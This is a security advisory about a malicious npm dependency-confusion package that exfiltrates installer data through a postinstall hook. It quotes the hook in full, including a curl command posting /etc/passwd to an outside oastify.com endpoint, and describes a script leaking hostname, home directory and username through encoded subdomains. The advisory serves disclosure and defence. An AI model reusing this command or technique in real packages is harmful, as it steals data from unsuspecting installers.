@open-banking/cabinet-providers@999.9.5 is a dependency-confusion bait package (anomalously high version under a generic scope) that exfiltrates installer data via its postinstall lifecycle. package.json declares "postinstall": "node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com", which posts the contents of /etc/passwd (prefixed by the installer's hostname as a subdomain) to a Burp Collaborator (OAST) endpoint. The bundled scripts/scream3gg.js hex-encodes os.hostname(), os.homedir(), and os.userInfo().username, splits the result into 50-character chunks joined by ., and fetches http://<chunks>.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com over plain HTTP — leaking host identity through DNS-style subdomain encoding. Both behaviors fire automatically on npm install with no user consent.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
